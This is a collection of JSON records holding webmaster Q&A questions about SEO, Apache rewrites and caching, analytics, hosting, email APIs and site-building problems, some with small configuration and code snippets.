{"id":"68776","title":"Website opening both on domain name and IP. Is that a problem?","text":"So, http:\/\/site.com\/ and `http:\/\/123.321.123.32\/` both are displaying a web page. From _SEO_ point there is content duplication issue when both domain and IP displays the same content. This can be solved by **canonical** tag. But what other problems does this make?"}
{"id":"29285","title":"Why can't I verify my website with Google?","text":"Here's the error I receive when trying to verify: > Verification failed for http:\/\/oracleoflegends.com\/ using the Google > Analytics method (1 minute ago). Your verification file returns a status of > 500 (Internal server error) instead of 200 (OK). My website works fine when visiting it with a web browser normally, so I'm at a loss. I'm also using Google Analytics and it's working fine! Not only that, but when trying to verify my website with another separate Ad company they are also receiving this error message. A 500 Internal Server error. What do I need to do on my end in order for Google's bot to work? I assumed that if it works on a browser it would work for their verification bot. "}
{"id":"39458","title":"New site - 0 indexed 5 Not selected. What does this mean?","text":"Having finally completed my web site, I submitted it and a sitemap to Google at the beginning of December. A look at the index status today, 29\/12\/12, shows 0 indexed, and 5 Not selected. I can live with the 0 indexed at this stage because, as I understand it (which might be not at all!), indexing takes time and is also reliant upon back links??? However, the bit that's got me puzzled is the 'Not Selected' part. Having read the help attached to the 'Not selected' icon, it seems that it ignores pages that are duplicate or redirected. However, I'm sure my pages are all completely different! I have a home page, a bookings page, a contact us page, a gallery page and one or two others, none of which is like another. And as for redirects there are none! What does this result mean?"}
{"id":"68817","title":"Migrating from hRecipe to Schema.org\/recipe","text":"I'm about to migrate recipes content from hRecipe to Schema.org. Since many recipes are already ranked nicely on Google with the rich snippet, I would like to know if anyone had migrated before, and can tell me whether or not there's an adjustment period in which ranking and rich snippet change. Thanks in advance for any advice!"}
{"id":"68810","title":"Caching of JS and CSS files – Apache mod_headers doesn’t take effect","text":"As suggested by an answer on SO, I'm trying using a version number on my JS and CSS files so that the browser will only make a request when the JS or CSS version number is changed in my PHP file. To facilitate this, I have a rewrite in my `httpd.conf` which transforms a requested file like `myscript-- 20140904.js` to `myscript.js`. Since I'm doing things this way, I want the browser to cache the file for a long time, since it will see a request for a \"different\" file when that version number is updated. According to an answer on Webmasters.SE, I can use `FilesMatch` along with `Header set Cache-Control` to only cache the CSS\/JS files with the version number on them. And according to an answer on SO, only `Cache-Control` is necessary, since it takes precedence over `Expires` anyway. But this is not working. The `Cache-Control` header field is missing from the response. Here's my Apache configuration: RewriteEngine on RewriteRule ^(.*)\\-\\-.+\\.(css|js)$ $1.$2 <IfModule mod_headers.c> <FilesMatch \"^(.*)\\-\\-.+\\.(js|css)$\"> Header set Cache-Control \"max-age=15552000\" Header unset ETag Header unset Last-Modified <\/FilesMatch> <\/IfModule> # <IfModule mod_expires.c> # <FilesMatch \"\\.(js|css)$\"> # ExpiresActive On # ExpiresByType text\/javascript \"access plus 6 months\" # ExpiresByType text\/css \"access plus 6 months\" # <\/FilesMatch> # <\/IfModule> Here's a request for one of the JS files: http:\/\/localhost\/[url]\/common.js GET [url]\/common.js HTTP\/1.1 Host: localhost User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko\/20100101 Firefox\/31.0 Accept: *\/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http:\/\/localhost\/[refererUrl] Cookie: PHPSESSID=[cookie] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache HTTP\/1.1 200 OK Date: Thu, 04 Sep 2014 19:45:32 GMT Server: Apache Last-Modified: Wed, 03 Sep 2014 22:55:57 GMT Etag: [etag] Accept-Ranges: bytes Content-Length: 5167 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application\/javascript"}
{"id":"68812","title":"What's causing the 'wait' time before my HTML loads?","text":"I have a website the seems to load very slowly. When I run a speed test on it I see there seems to be a 6 secound gap before the HTML loads. Images and JS scripts load very fast after that point. You can see in the pic below the yellow 'wait time' bars:  This seems to be consistant no matter what the HTML content on the page is. This site is using a CMS (ModX Revo) so HTML is actually stored in an SQL database and brought forth by PHP, but I've never experienced this issue before. Would anyone know what is causing this and how I could speed it up?"}
{"id":"65552","title":"How quickly can expect that my new site will get ranked by Alexa?","text":"I have website, but no Alexa rank after 30 days."}
{"id":"34579","title":"Why do some Linux VPS host companies restrict access to time\/date settings?","text":"Is there a reason on why some Linux VPS host companies restrict access to time\/date settings? I had two VPS hosts running on CentOS from two different companies and both were restricted and I had to contact to support department and ask them to change date\/time."}
{"id":"15109","title":"Wiki Application With A Reputation System","text":"I'm really impressed with Stack Exchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building. Does anyone know of a php wiki that has a concept of privileges\/reputation similar to Stack Exchange? I'm not necessarily looking for something _identical_ to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute _positively_ to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges. _NOTE: If it is not possible to get category wide privileges and site wide privileges, I will be OK with just category wide privileges or just site wide privileges._ I should be able to change the requirements for each privilege, through a administration panel or through editing a file (some wiki applications don't have administration interfaces). Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too. _Please Note: I am looking for a way to rate individual user contributions, not a way to rate the quality of an entire page._"}
{"id":"30285","title":"URL Rewrite for SSL","text":"I have SSL configured for a `cart` directory in my website. I'm having a very difficult time trying to configure SSL for a different directory within the same website. I ask the question on SO, and was hoping it would eventually get migrated here for more help (I don't want to make the same post twice). Anyway, after awhile I noticed the directory I need SSL on, `\/admin`, is actually accepting both `http` and `https`, so now to make my life easier and get this out of the way.. I'm just trying to configure a URL Rewrite for `http:\/\/www.shop.com\/admin\/index.php` to rewrite to `https:\/\/www.shop.com\/admin\/index.php` This is what I have tried, and it is not working: RewriteEngine on RewriteRule ^https:\/\/www.shop.com\/admin\/index.php$ http:\/\/www.shop.com\/admin\/index.php How can rewrite the default page for this directory to use https? I know this is probably sloppy, but I don't know what else to do. If you could help me set up ssl legitly for this directory, that would be even better. ps - The url rewrite docs are complicated!"}
{"id":"15104","title":"Is \"The Art of SEO\" book dated?","text":"And if it's dated, what would a good alternative be? Please don't mention blogs or tutorials, I need a book. :) Thanks a lot. http:\/\/www.artofseobook.com\/"}
{"id":"58186","title":"Drastic page visits decrease (Analytics)","text":"I am trying to understand why a site I'm working with has had a certain behaviour when it comes to page views per visitor. Basically, I have a trend which clearly shows pageviews going down over a period of time.  If I narrow down to browsers, I see that this is true only for Android 4 browsers, and IE9 browsers, while other browsers and technologies seem to be pretty consistent. Actually, right now these two browsers seem to be in line with other browsers.   I had an especially notable drop on the 15th of December, but again only for these specific browsers. On or around the 15th of December, the site has gone line with a radical redesign and improvement for the mobile website - it was not very usable and super slow before that release - so we were a bit surprised with the drop. Studying the case further, I'm starting to believe that earlier figures were indeed off, and what I get now is more likely. What do you guys think? Thanks for any idea!"}
{"id":"25889","title":"Global monthly searches versus results","text":"I compiled a report with global monthly searches last week for my boss, regarding SEO (this is from Google AdWords). He, however, seems to want a report of the results for a specific keyword - is there a way to get this information?"}
{"id":"29135","title":"Why does StatCounter show less unique visitors than my Apache access log?","text":"StatCounter shows yesterday as seeing 10,611 unique visitors to my site. I wrote a script that counted the number of unique IP addresses in yesterday's Apache access log. It counted 14,190 unique IP addresses. Why is there the discrepancy? I would understand a small number of IP addresses would maybe be for crawlers and bots, but not 1\/3 of the traffic. \/\/ script to count unique IPs <?php $ips = array(); $file = fopen(\"access_log\",\"r\"); while ( ($line = fgets($file)) != false ) { $num = strpos($line, \" \"); $ip = substr($line, 0, $num).\"<br>\"; if ( !in_array($ip, $ips) ) array_push($ips, $ip); } fclose($file); echo count($ips); The StatCounter code is the standard code that StatCounter gives you to put in your HTML\/JS, which includes your account number, etc..."}
{"id":"39566","title":"Automatically post Joomla article to mybb-board","text":"We're currently running a Joomla 2.5.6 installation and just created a mybb- board for our site. However, we want to sync the new articles from the Joomla page with the board, so new articles automatically appear as a new thread in the forum. Is there a plugin for that, or how can we achieve something like that? We searched, but the only useful syncing-plugin seems to be JFusion, but it looks like it syncs users, only."}
{"id":"58442","title":"Flat vs. Hierarchical Tree Structure (vol. 2)","text":"This relevant question deals with whether a site URL structure is better (SEO- wise) to be flat or hierarchical. How much important is it for a site ranking if the overall structure is flat or hierarchical? By overall structure I mean all aspects of a site structure as sitemap, menus, etc. The incentive behind my question is quite particular: in a site with eg. 10 general pages and 100 product pages, should there be a general product page and possibly a category level? And should there be pages for the each root of new level (esp. for menus)?"}
{"id":"18085","title":"Are press release distribution services spam services?","text":"I'm not trying to label this website as a spam service, but use it as an example to enquire about: http:\/\/www.prweb.com\/ And there are many like it. I've been considering using their services as they have been recommended on here, but after talking to some people they have told me 'It is definitely a spam service'. Are these sorts of services spam services? Could Google penalise you for using them? Do they have any legitimate value?"}
{"id":"18080","title":"http:\/\/www.example.com\/http:\/\/www.example.com\/ in Apache log?","text":"I run a website, let's say `www.example.com`. On it I have a path and file, say `www.example.com\/path\/file.html`. The Apache log lists GET requests like: `GET \/path\/file.html HTTP\/1.1` Which is correct, corresponding to `www.example.com\/path\/file.html`; such lines result in a 200 status code and everything's good. But then I have other entries: `GET http:\/\/www.example.com\/path\/file.html HTTP\/1.1` _or_ `GET http:\/\/www.othersite.net\/ HTTP\/1.1` Which would correspond to something like `http:\/\/www.example.com\/http:\/\/www.example.com\/path\/file.html` or `http:\/\/www.example.com\/http:\/\/www.othersite.net\/` which does not exist (My server returns a 404 for these.). These requests are always from far away (Italy, Latvia, ...) while actual users of my website are invariably local. What are these? Is there any particular reason for these requests? Have others seen these happen? It's been going on for at least a year and it's continuous (though I'm not being flooded). _They are not transparent attacks such as:_ `GET \/\/mysql-admin\/ HTTP\/1.1` or `GET \/webdav\/test HTTP\/1.1`"}
{"id":"18082","title":"SEO - google keywords issue. Can anyone shed any light on this for me?","text":"I launched my site a few months ago, it have been indexed by google for most of the keywords I had in mind. The only thing is, one of the most important keywords of all is not showing up in webmaster tools as a keyword. This is causing me a real pain, as people will not find my site. My SEO skills are usually effective, which is why this has stumped me. It's for my web design website. The keyword(s) i'm missing are web and website. As my site is about web design, the design on it's own will not help! I have noticed my word count on website and web are quite high, but that's naturally occurring. I didn't fill it with junk, because I don't think that's the best way. Is this some sort of google procedure to block the keyword \"website\". I am just re-designing my site and re-writing all content in effort to solve this issue. Can anyone give me any advice on this problem? Here is my website"}
{"id":"31771","title":"is there a checklist that a small website should","text":"I am not a web developer - this would be my first foray. I can do HTML\/CSS\/Javascript, but never created a website for a company. If anybody is creating a site for small company (expecting some 10-15 static pages), what kinda things would it need to have? I am thinking of the following: 1. Make the eventual owner buy in his\/her name: Domain name, Web Hosting package and Email package. **Q - DO** Web Developers generally ask their clients to buy this stuff and then ask them to share their passwords? OR - Do Web Developers ship the source files to clients so that they can upload it? 2. Create Cross Browser compatible HTML+CSS+javascript pages 3. Add SEO stuff like Meta tags and xml file for crawler 4. Buy professional images from stock website **Q - IS** there is a best-practice for this step? 5. Add Copyright stuff. **Q - ANY** idea about how to do this? 6. Add Faceboook widgets, so people can 'like' my website. 7. Register website somewhere so that its searchable from multiple search-engine\/yellopages. **Q - DOES** such a thing exist? Please check my checklist :) and let me know what you think could be missing? Thanks!"}
{"id":"18089","title":"Developing hotel website","text":"I know HTML, CSS, JavaScript, and some of PHP\/MySQL. I've decided to create simple hotel website, just to exercise my skills, and to see what i can really do. I wrote concrete technical details of my website: 1. User database where users can register and log in to see their booked places. 2. Search that has criteria of A)cost B)facilities C)rating D) distance to the user entered place 3. Gallery of house's pictures 4. Transaction page (electronic payment, PayPal and etc.) 5. Calendar that shows which dates are reserved and which are not. 6. Ability to pass user entered info to google maps and show exact location on the map. 7. Reviewing, adding comments to rented room or house. Questions: 1. Is there template or framework that i can take to develop tasks # 1,#2, and #5? 2. If there's no template, where should i start to code my own search that would fit my criteria? 3. How to pass arguments to google maps to show location of house? (Vague explanation is ok) 4. Can you give guidelines on how to code module of website to achieve task #7? 5. How do people usually do task #5? I mean do they take the piece of code or just write it by themselves? Sorry for my english.I'm not a native speaker. If you think that this explanation is to vague or indefinite, please do not just close this topic. All i want is just some guidance, i've come to the point when i realized that i need to challenge myself, but before i do this, i need to get some advice. Thanks!"}
{"id":"31774","title":"Controlling number of results in Google Custom Search","text":"I am using google custom search for my website, every search results in a big list of results. I want only limited number of results to be shown to the customer say first 10 so that he\/she is not confused. Please help."}
{"id":"12594","title":"How do I measure my site's bandwidth?","text":"A newbie question, but I have a PHP site running on dedicated Centos server with plesk control panel and wonder how much bandwidth is being consumed. Is there a tool or code that measures bandwidth per month, per day etc?"}
{"id":"8041","title":"Should I try and get my users to upgrade from IE6?","text":"I'm wondering if it's appropriate to try and get my user base to upgrade from IE6 to newer browsers? Right now we only have 5% of users coming from IE6 or less, we of course don't want to support IE6 further, but is it bad practice to offer suggestions to those using older browsers?"}
{"id":"67797","title":"Page requesting content from another IP","text":"I was running a drupal website on Server 01 with IP1 on the domain name example.com with the configuration centos 6 and apache. As we were having a traffic spike, we wanted a more powerful machine. So we decided to change to ubuntu 13.10 and nginx. Me with my host, built server 2 with IP2 and installed ubuntu 13.10 and nginx. Then we copied the \/var\/www\/html folder of Server 01 to \/var\/www folder on server 02, created a mysql dump of databases on Server 01, transferred the same to Server 02, and created a same database environment there. Connected drupal to the databases. Tested the work by accessing IP2 on browser. Everything was working fine there except some drupal issues. Decided to proceed with the transfer anyway. My host then switched IPs. Now we are having Server 01 with IP2 and Server 02 with IP1. The end result was satisfactory. However, a strange behavior was noted. When any page on the site is loading (after IP switch), it requests for a resource (a png image) on IP2, which is actually on Server 01 at the moment. As my host shut down server 01, the request bring a not found error. As the default coding procedure, all requests on drupal are made relative to the domain name (or the IP). Multiple clearing of caches did not solve the issue. My question is how did the script even know that such an IP exists? How can I track the part of the script that generates this request? If my question is missing any information, please comment below and I will add it as edits. Any help will be greatly appreciated. **Edit** :The issue resolved on itself. Don't know what solved it, but when I disabled a CDN, completely re written the configuration page and changed the protocol to https, the issue resolved. Even though the exact cause that created it still remains unknown to me, I am glad that it no longer exists."}
{"id":"67792","title":"How does dynamic content replacement affect PPC quality score?","text":"I'm looking to write a script that dynamically replaces elements of my page with content related to the keyword that resulted in a PPC click. For example, visiting the landing page after searching on \"purple widgets\" would replace the hero image with an image of a purple widget, and the h1 with copy related to purple widgets. How does this affect quality score? Are there any downsides of doing this?"}
{"id":"61712","title":"Can Mailchimp APIs be used to send templated transaction email triggered by actions on my website?","text":"I am currently playing around with Mailchimp's APIs, but the documentation to me is not very clear. Here is what I actually want: 1. Have the templates I created on Mailchimp, be visible on my own server. 2. Assign each template I made to a specific action (logged in,subscribed, created order, or new password). This is functionality that I already tested with Mandrill, but the template exists on mandrill's account. If option 1 is not possible, can I still make my own template in my own environment, and send that template out over Mailchimp or Mandrill? Should I use Mailchimps services for this or send the email directly from my own server? Curent used function: function tep_mandrill_mail($to_name, $to_email_address, $email_subject, $email_text, $from_email_name, $from_email_address) { if (SEND_EMAILS != 'true') return false; $uri = 'https:\/\/mandrillapp.com\/api\/1.0\/messages\/send-template.json'; $postString = '{ \"key\": \"xxxxxxxxxxx\", \"template_name\": \"sometemplatename\", \"template_content\": [ { \"name\": \"header\", \"content\": \"*|HEADERSTUFF|*\" }, { \"name\": \"main\", \"content\": \"*|CONTENTSTUFF|*\" }, { \"name\": \"footer\", \"content\": \"*|FOOTERSTUFF|*\" } ], \"message\": { \"subject\": \"'.$email_subject.'\", \"from_email\": \"'.$from_email_adress.'\", \"from_name\": \"'.$from_email_name.'\", \"to\": [ { \"email\": \"'.$to_email_address.'\", \"name\": \"'.$to_name.'\" } ], \"important\": false, \"track_opens\": true, \"merge\": true, \"merge_vars\": [ { \"rcpt\": \"'.$to_email_address.'\", \"vars\": [ { \"name\": \"HEADERSTUFF\", \"content\": \"'.$email_subject.'\" }, { \"name\": \"CONTENTSTUFF\", \"content\": \"'.$email_text.'\" }, { \"name\": \"FOOTERSTUFF\", \"content\": \"paulvale-foot\" } ] } ], \"tags\": [ \"password_forgotten\" ] }, \"async\": false, \"ip_pool\": \"Main Pool\" }'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $uri); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); curl_exec($ch); }"}
{"id":"67073","title":"Performance hit of a lot of unused font-faces","text":"If you have an html file, and in that html file you link to styles.css which covers all the styling of the page. Then inside of styles.css you have something like @import url('..\/css\/fonts.css'). Fonts.css is just a couple dozen font-face declarations. Basically covering all of your bases. If styles.css only uses one or two of those fonts, will there be a performance hit when the browser tries to download all of the unused fonts in fonts.css, or will it only download the ones it needs as it comes up? Similarly, what happens if fonts.css was linked inside of the HTML file?"}
{"id":"49092","title":"How to preview and INTERACT in many browsers","text":"What are some services or technologies (free or paid) for 1. Getting a static preview (like a screenshot) of my HTML pages (either local or remote) in many common browser\/OS combinations like Firefox3\/Mac, IE7\/Windows, Safari4\/Windows, etc? 2. Actually interacting with a site on the internet through a something like VNC to a virtual machine running many browser\/OS combinations? for the purpose of verifying that it works right"}
{"id":"12846","title":"Making some simple pages look good?","text":"I've gotten myself to a point where I can make my webpages work from the server side ... but, from the client side, they all look terrible. I don't really have the hang of colors and themes and such (I know HTML and CSS, but cannot apply them), are there any good tutorials that cover this sort of stuff?"}
{"id":"50460","title":"Apache returns 304, I want it to ignore anything from client and send the page","text":"I am using Apache HTTPD 2.2 on Windows. mod_expires is commented out. Most other stuff are not changed from the defaults. gzip is on. I made some changes to my `.js` files. My client gets one 304 response for one of the `.js` files and never gets the rest. How can I force Apache to sort of flush everything and send all new files to the client? The main html file includes these scripts in the head section of the main page: <script src=\"js\/jquery-1.7.1.min.js\" type=\"text\/javascript\"> <\/script> <script src=\"js\/jquery-ui-1.8.17.custom.min.js\" type=\"text\/javascript\"><\/script> <script src=\"js\/trex.utils.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.core.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.codes.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.emv.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.b24xtokens.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.iso.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.span2.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.amex.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.abi.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.barclays.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.bnet.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.visa.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.atm.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.apacs.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.pstm.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.stm.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.thales.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.fps-saf.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.fps-iso.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> <script src=\"js\/trex.app.js\" type=\"text\/javascript\" charset=\"utf-8\"><\/script> Apache access log has the following: [07\/Jul\/2013:16:50:40 +0300] \"GET \/trex\/index.html HTTP\/1.1\" 200 2033 \"-\" [07\/Jul\/2013:16:50:40 +0300] \"GET \/trex\/js\/trex.fps-iso.js HTTP\/1.1\" 304 [08\/Jul\/2013:07:54:35 +0300] \"GET \/trex\/index.html HTTP\/1.1\" 304 - \"-\" [08\/Jul\/2013:07:54:35 +0300] \"GET \/trex\/js\/trex.iso.js HTTP\/1.1\" 200 12417 [08\/Jul\/2013:07:54:35 +0300] \"GET \/trex\/js\/trex.amex.js HTTP\/1.1\" 200 6683 [08\/Jul\/2013:07:54:35 +0300] \"GET \/trex\/js\/trex.fps-saf.js HTTP\/1.1\" 200 2925 [08\/Jul\/2013:07:54:35 +0300] \"GET \/trex\/js\/trex.fps-iso.js HTTP\/1.1\" 304 Chrome request headers are as below: This file is ok, latest: Request URL:http:\/\/localhost\/trex\/js\/trex.iso.js Request Method:GET Status Code:200 OK (from cache) THis file is ok, latest: Request URL:http:\/\/localhost\/trex\/js\/trex.amex.js Request Method:GET Status Code:200 OK (from cache) This one is also ok: Request URL:http:\/\/localhost\/trex\/js\/trex.fps-iso.js Request Method:GET Status Code:200 OK (from cache) The rest of the scrips all have 200 OK (from cache)."}
{"id":"26618","title":"Measure server performance","text":"I'm using a shared hosting for my website. How to find out if the performance of the server changes? I'm asking because my hosting company told me that some other site on the server is slowing down my site because they overloading the server. Thanks. **Edit:** Google Site Speed says Avg. Page Load Time (sec): 15.53 - Is that normal or too high?"}
{"id":"64970","title":"Server Processes: Websites with and without database","text":"I am on shared server and I have some limitations at \"simultaneous processes\". I have two websites: one which uses database and other without database (it's only HTML). Both are hosted on the same shared. When I reach the \"simultaneous processes\" the website which uses database shows \"Server message: too many connections\" and the second website works well and loads fast. What is the difference between sites? Both sites has ~ the same number of visitors. This happens because of database? So it's recommended to not use a database? If I'm not on the right place, or there is a problem with my question, please tell me, I can delete it. _EDIT_ Both websites has ~ 100.000 hits\/day It's a html page more faster than a dynamic page with MySQL connection? If I am using only HTML page do you think I won't have problems with simultaneous connections? Thanks a lot!!!"}
{"id":"28087","title":"Tips for managing internal and external links using WordPress","text":"So I'm looking for ways to optimize my site for user and search engine purposes. I've read several articles and looked at several different plugins. To say the least, I'm thoroughly confused as what are the best practices for managing internal and external links. Here is a list of some of my questions: * Which internal links should be set to \"nofollow\"? * Which external links should be set to \"nofollow\"? * To what degree does actively managing links contribute to your PR? * Should you use \"nofollow\" blindly on all links in comments? * If a link to an external site is broken (404 or whatever), should you \"nofollow\" that link? What about \"noindex\"? As you can see, lots of questions. I'm hoping that you experienced webmasters can give a newb some best-practice advice."}
{"id":"28082","title":"Are logos really free to use?","text":"On my website, I want to use several logos as icons next to files whose mimetypes are associated with those logos. Most of the logos are Apple and Microsoft. Can anyone provide a source for the claim that logos can be freely used in certain contexts? For Microsoft, I found that logos cannot be modified in certain ways, but it fails to say whether logos can be used as-is."}
{"id":"23063","title":"Does the meta description affect page ranking on Google?","text":"According to the following site http:\/\/dailyseotip.com\/meta-description-tags-and-ctr-the-new-way-that-meta- tags-affect-rankings\/1448\/ > We’ve known for years that Google **doesn’t consider meta descriptions as a > factor in ranking websites**. In fact, Google just recently stated in a blog > post that “we still don’t use the description meta tag in our ranking.” > Can’t be much plainer. > > But there is more to the story! > > Google may not use meta descriptions in their rankings, but your meta > description can actually influence your rankings. In fact, I expect meta > descriptions to play an increasingly larger role in rankings in the coming > months and years. I have been searching though and not been able to find the original blog post. **Can anyone clarify if this is true?**"}
{"id":"28089","title":"Thumbnail preview rotator on mouse-over - what is it called?","text":"I've been searching for hours now but can't get any tutorial on this. I have these thumbnails on my homepage which are the first images of their corresponding posts. What I want is that when I mouse-over a post on the homepage... the corresponding thumbnail should also show\/rotate the other images of that particular post... bit like a sneak-peak image rotator... Does anyone know where I can get a tutorial regarding this? How's this called? It seems like I'm searching for the wrong keywords on google as I can't find anything."}
{"id":"44333","title":"How to Add Two Domains ON 1 IP using webmin","text":"I am a new user of webmin and I have two domains `site1.com` and `site2.net`. I have one dedicated IP for the server and I have set site1.com to use following name servers `ns1.site1.com` and `ns2.site1.com` with bind. Now when I add site2.net on the same IP using the same method both sites open with the same content. How can I host both web sites on the same IP?"}
{"id":"38556","title":"Domain name made of keywords redirecting to main website's page","text":"Let's say I have a website called books.com where I sell books. I've read on Redirecting different domains to your main site that it's not a bad idea to register another domain that does a 301 redirect to my website, like booksforsale.com. Now, say I want to only target a specific category withing my website, like books.com\/sci-fi\/ so I register sci-fi-books.com and do a 301 redirect. Would this improve my search rankings? Thanks."}
{"id":"22624","title":"Prevent spam using Honey Pots","text":"I am really curious about how to prevent comment spam in a forum using a honey pot trap for spam bots. * What if CSS and javascript is turned off in a browser? * Do you see any other disadvantages in the honey pot trap? * What do you think every honey pot trap should have? * Do you know any other anti-spam alternative, that does not disturb the users experience."}
{"id":"61795","title":"What is the best strategy for tracking USER ID on a website without login system?","text":"Considering a brand new feature of USER ID in Google Universal Analytics I’m wondering what is the best model to track the full customer journey for a company which sells software products and has no login system? From which touch point (before or after software download\/install) do you recommend to assign a USER ID to a user by means of Google Universal Analytics? Thanks in advance for any tips!"}
{"id":"26532","title":"Does resetting your modem frequently make using Google Analytics's \"Ignore IP\" feature pointless","text":"Back in the Megavideo days, I'd reset my modem quite a bit to get around the viewing time restriction. As I understand it, the IP address changes each time (unless you have it set to a static IP). That said, I'd like to exclude myself by IP from being tracked on my site through Google Analytics. Is there a way to do this given that the IP address is dynamic? Is it dynamic within a certain range? Also, I know you can exclude yourself through cookies, but I'd like to leave that as a last resort."}
{"id":"26535","title":"I cant get my domain to point to my server","text":"I have bought a domain on Crazy Domains called techitproductions.com And at home i have a Linux Ubuntu Server running Apache, php5, ispconfig, courier mail etc... I have port forwarded port 80, 8888 (for ispconfig), 22 (for Putty). My question is what ports do i need to portforward for a fully working server, with both SSL, SSH and mail working? My second question is how do i get my domain pointing to my server? My external ip is static. Please i need a step by step instruction's i am new to Linux servers and the whole website hosting etc... Thanks, Marais"}
{"id":"52825","title":"How to create custom flash advertisment in Google?","text":"Can we create custom flash advertisement for Google ad-sense? like yahoo does? I tried on my adwords account but there is no way except followings, 1) Upload custom image advertisement. 2) Update the Google flash templates."}
{"id":"24752","title":"domain.com to www.domain.com .htaccess redirect working except one subdir","text":"I've setup a redirect in .htaccess to consolidate domain.com to www.domain.com traffic on our Apache server. Looks like this: Options +FollowSymLinks RewriteEngine On RewriteCond %{HTTP_HOST} ^centerline\\.net$ [NC] RewriteRule ^(.*)$ http:\/\/www.centerline.net\/$1 [R=301,L] Works as expected, except for the blog. If I go to `http:\/\/www.centerline.net\/blog`, I get the blog fine. If I go to `http:\/\/centerline.net\/blog`, it redirects to the home page (which is the 404 default action). I tried commenting out the two lines to consolidate centerline.net to www.centerline.net, and I still can't get to the blog via centerline.net\/blog. There's nothing else in the .htaccess related to the blog URL. For the blog, there are several lines that Wordpress inserted into the .htaccess, but commenting those out makes no difference. Just in case, that code is: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress Any ideas where else to look? Or something I'm missing?"}
{"id":"10444","title":"How does Google classify which country a website belongs to?","text":"How does Google determine which country a website belongs to? Is this technique also used by Alexa.com? I don't think that the website's location is determined by its host's IP address or by its WHOIS information. I think the site's location is determined by by traffic statistics (the country with the most visitors to the site determines the site's location)."}
{"id":"49227","title":"How many days could google updates my pages titles and contents order","text":"After Google's penguin 2.0 - _I call it dracula_ - my website has lost about 30% or more of its traffic. The following screen shot from my Google's webmaster tools account should demonstrate the disaster:  I decided to change the title tag of some of its pages - they are 6236 pages exactly - and rearrange the order of those pages contents. I have done this from more 4 days ago and I does not able to see the new title tag in Google's search results. From this question's answer on this community they said on Google it may take couple of days! **I need to know if there is something else I have to consider? or what's the issue that makes Google delay updating my website's regarded pages modification?**"}
{"id":"58191","title":"Remove URL's - Site Removal instead of Web Page removal","text":"Can somebody please advise why `www.website.com\/?p=1` comes up with Site Removal rather than Webpage Removal when I submit the URL in Webmaster Tools? It is the Hello World! post that came installed with WordPress and the site description is the old 'we are currently working on our site...\""}
{"id":"23392","title":"Why is Gmail showing the word 'Unsubscribe' in email subject lines?","text":"I have recently noticed that when I send out e-mail campaigns that Gmail is now including 'Unsubscribe' in the subject along with my actual subject. Is this now a common practice among e-mail providers or is it just Gmail? _**UPDATE_** Nick was 100% correct and I have made a few changes I decided to post: I did not want to change my layout any and keep it the same yet Google pulls the first text it sees which was ALT text for an image. To correct this I inserted a 1x1 Transparent Picture with the ALT text that said what I want the Gmail Preview to say. Works like a charm. Here is the code for it: <p align=\"center\"><img style=\"color:#ffffff\" src=\"http:\/\/mysite.com\/Images\/skin\/spacer1x1.png\" width=\"1\" height=\"1\" alt=\"ALT Text\" \/><\/p> I put the color there to ensure the text blends in to the background because I do not want it visible in the e-mail for users who have images disabled."}
{"id":"28661","title":"Facebook Games on My Web Page","text":"Is there a way to set any facebook game or application to my web page. Think like youtube videos. There is a link a simply we can set it to our blog or web page."}
